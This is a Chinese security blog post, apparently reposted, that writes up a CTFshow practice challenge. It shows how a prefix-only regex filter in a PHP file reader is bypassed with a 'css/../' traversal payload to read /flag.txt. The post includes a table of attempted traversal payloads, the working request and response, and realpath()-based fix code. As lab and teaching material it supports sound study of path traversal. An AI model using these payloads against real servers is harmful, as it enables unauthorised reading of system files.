AI渗透测试 — 路径遍历过滤绕过:一个css/前缀引发的任意文件读取

admin 2026-06-12 04:39:54 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文分析CTFshow文件管理助手的路径遍历漏洞,通过css/前缀拼接…/成功绕过路径过滤机制实现任意文件读取。关键发现是后端仅校验输入开头导致安全缺陷,建议使用realpath()进行最终路径验证和白名单校验。 综合评分: 85 文章分类: 渗透测试,漏洞分析,WEB安全,实战经验,解决方案


cover_image

AI渗透测试 — 路径遍历过滤绕过:一个css/前缀引发的任意文件读取

原创

yushao yushao

网络安全者

2026年6月11日 15:15 河南

在小说阅读器读本章

去阅读

一、测试概述

| 项目 | 内容 | | — | — | | 测试目标 | CTFshow 文件管理助手(CTF练习平台) | | 漏洞类型 | 路径遍历(Path Traversal)/ 任意文件读取 | | 风险等级 | 高危 | | 测试时间 | 2026年6月 | | 授权说明 | CTFshow 授权练习靶场 |

二、信息收集

访问目标首页,发现一个文件读取功能:

  • • 页面标题:CTFshow 文件管理助手
  • • 功能:用户输入文件名,后端调用 file_get_contents() 读取并回显内容
  • • 默认读取文件:test.txt
  • • 页面提示:目标flag文件为 /flag.txt
  • • HTTP方法:GET,参数名为 path

三、过滤规则分析

通过反复测试,识别出后端存在 两层过滤机制

过滤规则 1 — 路径前缀检测:

// 禁止以 "/" 或 "../" 开头的路径
if (preg_match('/^(\.|\/)/', $path)) {
    die("禁止以/或者../开头的文件名");
}

过滤规则 2 — 敏感关键词黑名单:

// 禁止包含敏感协议和关键词
if (preg_match('/data|log|access|pear|tmp|zlib|filter|:/', $path)) {
    die("禁止访问敏感目录或文件");
}

四、绕过尝试记录

| 序号 | Payload | 结果 | | — | — | — | | 1 | /flag.txt | 被拦截:禁止以 / 开头 | | 2 | ../../../flag.txt | 被拦截:禁止以 .. 开头 | | 3 | ....//....//....//flag.txt | 被拦截:双写绕过无效 | | 4 | ..%2F..%2F..%2Fflag.txt | 被拦截:URL编码未绕过正则 | | 5 | %2e%2e%2f%2e%2e%2fflag.txt | 通过过滤,但PHP未解码,报文件不存在 | | 6 | ..\..\..\flag.txt | 被拦截:反斜杠同样被检测 | | 7 | %2fflag.txt | 通过过滤,但PHP视为字面文件名,报不存在 | | 8 | file:///flag.txt | 被拦截:触发冒号 : 过滤 |

五、漏洞利用(核心绕过)

绕过思路: 既然不能以 / 或 .. 开头,那就用一个 真实存在的目录名作为前缀,在其后拼接 ../ 实现路径回退。

页面引用了 css/ 目录下的样式资源,说明该目录真实存在。后端拼接的文件路径为:

/var/www/html/css/../../../../../../../flag.txt

经过路径规范化后:

/var/www/html/css/ → /var/www/html/ → /var/www/ → /var/ → / → /flag.txt

最终Payload:

css/../../../../../../../flag.txt

完整请求:

GET /?path=css/../../../../../../../flag.txt HTTP/1.1
Host: [目标域名已屏蔽]

服务器响应(关键内容):

<div&nbsp;class="browser-content">
&nbsp; &nbsp; css/../../../../../../../flag.txt内容为:
&nbsp; &nbsp; FLAG = "CTF{file_path_bypass_is_fun}"
</div>

成功读取到 /flag.txt 文件内容。

六、漏洞原理

用户输入: css/../../../../../../../flag.txt
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ↓
&nbsp; &nbsp; ┌─── 正则 /^(\.|\/)/ 检测 ───┐
&nbsp; &nbsp; │ &nbsp;首字符为 'c',不是 . 或 / &nbsp; │
&nbsp; &nbsp; │ &nbsp;✅ 通过过滤 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │
&nbsp; &nbsp; └─────────────────────────────┘
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ↓
&nbsp; &nbsp; ┌─── 敏感词黑名单检测 ─────────┐
&nbsp; &nbsp; │ &nbsp;不含 data/log/filter/: 等 &nbsp; │
&nbsp; &nbsp; │ &nbsp;✅ 通过过滤 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │
&nbsp; &nbsp; └─────────────────────────────┘
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ↓
&nbsp; &nbsp; file_get_contents("/var/www/html/" . "css/../../../../../../../flag.txt")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ↓
&nbsp; &nbsp; PHP路径规范化 → /flag.txt → 读取成功 → 回显内容

七、修复建议

// ❌ 不安全的做法(仅正则过滤前缀)
$path&nbsp;=&nbsp;$_GET['path'];
if&nbsp;(preg_match('/^(\.|\/)/',&nbsp;$path)) {&nbsp;die("禁止"); }
echo&nbsp;file_get_contents("/var/www/html/"&nbsp;.&nbsp;$path);

// ✅ 安全做法:使用 realpath() 验证最终路径
$base_dir&nbsp;=&nbsp;realpath("/var/www/html/");
$target&nbsp; &nbsp;=&nbsp;realpath("/var/www/html/"&nbsp;.&nbsp;$path);

if&nbsp;($target&nbsp;===&nbsp;false&nbsp;||&nbsp;strpos($target,&nbsp;$base_dir) !==&nbsp;0) {
&nbsp; &nbsp;&nbsp;die("非法路径");
}
echo&nbsp;file_get_contents($target);

核心修复要点:

  1. 1. 使用 realpath() 解析最终路径,而非依赖输入字符串的正则匹配
  2. 2. 白名单校验:确认解析后的绝对路径仍在允许的基目录内
  3. 3. 最小权限原则:Web进程不应有读取系统敏感文件的权限
  4. 4. 额外加固:可结合 basename() 限制只能读取指定目录下的文件

八、总结

本案例展示了路径遍历漏洞中 “前缀拼接绕过” 的经典思路。当后端仅对输入字符串的 开头 做正则校验时,攻击者可以利用一个真实存在的子目录作为跳板,在其后追加 ../ 序列回退到任意位置,最终实现根目录级别的任意文件读取。防御时应始终坚持 “先拼接,后验证最终路径” 的原则。

| | | | — | — | | | |


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:网络安全者 yushao yushao《AI渗透测试 — 路径遍历过滤绕过:一个css/前缀引发的任意文件读取》

    评论:0   参与:  0